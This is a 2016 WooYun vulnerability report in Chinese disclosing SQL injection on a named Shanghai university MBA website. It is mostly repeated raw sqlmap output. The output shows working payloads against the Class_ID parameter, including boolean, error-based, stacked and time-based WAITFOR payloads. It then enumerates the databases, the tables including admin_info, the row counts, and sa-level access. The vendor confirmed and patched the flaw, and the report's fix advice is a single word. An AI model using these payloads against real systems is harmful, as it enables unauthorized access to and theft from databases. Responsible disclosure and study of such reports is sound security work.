漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2016-0174847
漏洞标题:上海理工大学一处sql注入
相关厂商:上海理工大学
漏洞作者: 神域
提交时间:2016-02-17 12:46
修复时间:2016-02-25 11:06
公开时间:2016-02-25 11:06
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:5
漏洞状态:厂商已经修复
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2016-02-17: 细节已通知厂商并且等待厂商处理中
2016-02-17: 厂商已经确认,细节仅向厂商公开
2016-02-25: 厂商已经修复漏洞并主动公开,细节向公众公开
简要描述:
sql注入
详细说明:
"http://mba.usst.edu.cn/ActivityInformationDetail.aspx?Class_ID=48&InfoId=941"
sqlmap identified the following injection point(s) with a total of 42 HTTP(s) requests:
---
Parameter: Class_ID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Class_ID=48 AND 4639=4639&InfoId=941
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Class_ID=48 AND 7896=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (7896=7896) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113)))&InfoId=941
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: Class_ID=(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (4542=4542) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113))&InfoId=941
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: Class_ID=48;WAITFOR DELAY '0:0:5'--&InfoId=941
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: Class_ID=48 WAITFOR DELAY '0:0:5'--&InfoId=941
---
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Class_ID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Class_ID=48 AND 4639=4639&InfoId=941
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Class_ID=48 AND 7896=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (7896=7896) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113)))&InfoId=941
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: Class_ID=(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (4542=4542) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113))&InfoId=941
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: Class_ID=48;WAITFOR DELAY '0:0:5'--&InfoId=941
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: Class_ID=48 WAITFOR DELAY '0:0:5'--&InfoId=941
---
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
available databases [8]:
[*] master
[*] MBA
[*] MEM
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Class_ID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Class_ID=48 AND 4639=4639&InfoId=941
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Class_ID=48 AND 7896=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (7896=7896) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113)))&InfoId=941
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: Class_ID=(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (4542=4542) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113))&InfoId=941
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: Class_ID=48;WAITFOR DELAY '0:0:5'--&InfoId=941
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: Class_ID=48 WAITFOR DELAY '0:0:5'--&InfoId=941
---
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
current database: 'MBA'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Class_ID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Class_ID=48 AND 4639=4639&InfoId=941
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Class_ID=48 AND 7896=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (7896=7896) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113)))&InfoId=941
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: Class_ID=(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (4542=4542) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113))&InfoId=941
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: Class_ID=48;WAITFOR DELAY '0:0:5'--&InfoId=941
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: Class_ID=48 WAITFOR DELAY '0:0:5'--&InfoId=941
---
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Class_ID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Class_ID=48 AND 4639=4639&InfoId=941
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Class_ID=48 AND 7896=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (7896=7896) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113)))&InfoId=941
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: Class_ID=(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (4542=4542) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113))&InfoId=941
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: Class_ID=48;WAITFOR DELAY '0:0:5'--&InfoId=941
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: Class_ID=48 WAITFOR DELAY '0:0:5'--&InfoId=941
---
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
Database: MBA
[15 tables]
+--------------+
| DataBack |
| Download |
| DownloadFile |
| FriendLink |
| GuestBook |
| Menu |
| Products |
| Template |
| UploadFile |
| User_Info |
| Web_Class |
| admin_info |
| information |
| login_log |
| webconfig |
+--------------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Class_ID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Class_ID=48 AND 4639=4639&InfoId=941
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Class_ID=48 AND 7896=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (7896=7896) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113)))&InfoId=941
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: Class_ID=(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (4542=4542) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113))&InfoId=941
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: Class_ID=48;WAITFOR DELAY '0:0:5'--&InfoId=941
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: Class_ID=48 WAITFOR DELAY '0:0:5'--&InfoId=941
---
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
Database: MBA
+-----------------+---------+
| Table | Entries |
+-----------------+---------+
| dbo.information | 232 |
| dbo.Menu | 65 |
| dbo.Web_Class | 55 |
| dbo.UploadFile | 31 |
| dbo.FriendLink | 28 |
| dbo.admin_info | 3 |
| dbo.Template | 1 |
| dbo.webconfig | 1 |
+-----------------+---------+
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Class_ID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Class_ID=48 AND 4639=4639&InfoId=941
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Class_ID=48 AND 7896=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (7896=7896) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113)))&InfoId=941
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: Class_ID=(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (4542=4542) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113))&InfoId=941
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: Class_ID=48;WAITFOR DELAY '0:0:5'--&InfoId=941
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: Class_ID=48 WAITFOR DELAY '0:0:5'--&InfoId=941
---
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Class_ID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Class_ID=48 AND 4639=4639&InfoId=941
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Class_ID=48 AND 7896=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (7896=7896) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113)))&InfoId=941
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: Class_ID=(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (4542=4542) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113))&InfoId=941
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: Class_ID=48;WAITFOR DELAY '0:0:5'--&InfoId=941
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: Class_ID=48 WAITFOR DELAY '0:0:5'--&InfoId=941
---
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: Class_ID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Class_ID=48 AND 4639=4639&InfoId=941
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Class_ID=48 AND 7896=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (7896=7896) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113)))&InfoId=941
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: Class_ID=(SELECT CHAR(113)+CHAR(112)+CHAR(113)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (4542=4542) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(113))&InfoId=941
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: Class_ID=48;WAITFOR DELAY '0:0:5'--&InfoId=941
Type: AN
用户权限 sa
漏洞证明:
见上
修复方案:
过滤
版权声明:转载请注明来源 神域@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:8
确认时间:2016-02-17 13:00
厂商回复:
正在修复
最新状态:
2016-02-25:已修复